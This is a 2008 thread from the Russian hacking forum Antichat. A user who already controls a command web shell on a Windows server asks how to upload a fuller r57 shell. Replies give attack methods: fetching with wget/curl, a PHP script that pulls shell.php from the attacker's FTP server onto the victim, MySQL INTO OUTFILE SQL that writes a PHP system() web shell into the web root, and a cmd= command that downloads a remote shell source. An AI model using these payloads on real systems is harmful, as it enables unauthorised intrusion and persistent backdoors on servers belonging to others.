ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Способы заливки файлов
  #1  
Старый 30.07.2008, 22:42
Аватар для UpsPig
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
Провел на форуме:
77488

Репутация: 2
По умолчанию Способы заливки файлов

Есть shell.php?cmd= .
Хотел залить более менее удобный шелл типа r57.
Всё что пришло в голову:
1)Заливка через FTP с поднятием на своём компе сервера, но не смог пока разобраться с авторизацией в slimftpd.
2)Расшарить папку
3)И пробовал записать построчно через echo (добавляются слэши перед кавычками в итоге скрипт не пашет)
Может кто нибудь предложить другие способы?
 
Ответить с цитированием

  #2  
Старый 30.07.2008, 23:33
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

wget, curl, fetch
 
Ответить с цитированием

  #3  
Старый 31.07.2008, 00:02
Аватар для UpsPig
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
Провел на форуме:
77488

Репутация: 2
По умолчанию

Сорри не уточнил.Дело происходит в винде
 
Ответить с цитированием

  #4  
Старый 31.07.2008, 00:23
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

Если есть возможность выполнить пхп - через fopen(), да и многими другими функциями можно. Я так понял - шелл ты сам залил? Раз залил шелл - залей инклюд или тот же fopen() -> fwrite()

з.ы. вот ещё почитай про работу с фтп через командную строку - ttp://www.winblog.ru/net/1147765001-08020803.html

Последний раз редактировалось n0ne; 31.07.2008 в 00:26..
 
Ответить с цитированием

  #5  
Старый 31.07.2008, 15:53
Аватар для UpsPig
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
Провел на форуме:
77488

Репутация: 2
По умолчанию

инклюд нельзя (
Можно про fopen() и fwrite() поподробнее?
Я пхп совсем не знаю ((
 
Ответить с цитированием

  #6  
Старый 31.07.2008, 17:05
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

Попробуй через фтп вот так -

Код:
<?

// замени данные на свои 
$host = "ftp.твой_фтп.ru"; // адрес твоего фтп
$port = 21; // порт, по дефолту он 21
$user = "login"; // логин
$passwrod = "password"; // пароль
$local_file = "/ftp/shell.php"; // файл на твоем фтп
$remote_file = "shell.php"; // файл на удаленной тачке
// дальше не трогай :)

$connect = ftp_connect($host, $port);
$done = ftp_login($connect, $user, $password);

if($done)
  {
ftp_get($connect, $local_file, $remote_file, ftp_binary);
  }
else
{
die();
}

?>
И не поленись прочесть вот это - ttp://www.winblog.ru/net/1147765001-08020803.html

Последний раз редактировалось n0ne; 31.07.2008 в 17:07..
 
Ответить с цитированием

  #7  
Старый 31.07.2008, 17:13
Аватар для heks
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию

если есть какая либо база на сайте попробуй приконнектиться к ней с удаленного шела и уже через базу залить шел

CREATE TABLE temptab1(
codetab TEXT
) TYPE=MYISaM;

INSERT INTO temptab1(codetab)
VALUES(
'<pre><body bgcolor=silver><? @system($_REQUEST["v"]); ?></body></pre>'
);


into dumpfile
select * into outfile '/Library/WebServer/Documents/123.php' from temptab1; flush logs;
думаю разберешься что куда ставить

Последний раз редактировалось heks; 31.07.2008 в 17:19..
 
Ответить с цитированием

  #8  
Старый 31.07.2008, 17:44
Аватар для apollо
apollо
Новичок
Регистрация: 24.12.2006
Сообщений: 2
Провел на форуме:
18610

Репутация: 14
По умолчанию

Попробуй так:

shell.php?cmd=get http://site/r57.txt > C:\путь_до_www\r57.php

(по дефолту в C:\AppServ\www\)

"http://site/r57.txt " - сайт на котором лежит исходник шела в txt формате... (если будет в php формате многие выражения понерфяться, что соответственно приведёт к неработоспособности шела, поэтому используй изначально txt)

Последний раз редактировалось apollо; 31.07.2008 в 17:49..
 
Ответить с цитированием

  #9  
Старый 31.07.2008, 19:23
Аватар для UpsPig
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
Провел на форуме:
77488

Репутация: 2
По умолчанию

apollо
"get" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
Я тоже об этом думал
 
Ответить с цитированием

  #10  
Старый 31.07.2008, 19:24
Аватар для UpsPig
UpsPig
Новичок
Регистрация: 22.06.2008
Сообщений: 22
Провел на форуме:
77488

Репутация: 2
По умолчанию

heks
К сожалению нет.
bind-adress 127.0.0.1
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор программ для очистки жёсткого диска v1ru$ Soft - Windows 21 17.01.2010 21:07
Народ.диск - скрипт заливки файлов. phenix1024 PHP, PERL, MySQL, JavaScript 4 05.07.2008 13:25
Доступ к компу в инете Dr.Saikov АнтиАдмин 13 25.06.2008 18:14
Perl: Скрипт для авторизиции и заливки файлов на сервер Fak1r PHP, PERL, MySQL, JavaScript 0 08.06.2008 01:38
Dos-команды юный хакер Windows 6 01.06.2008 11:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ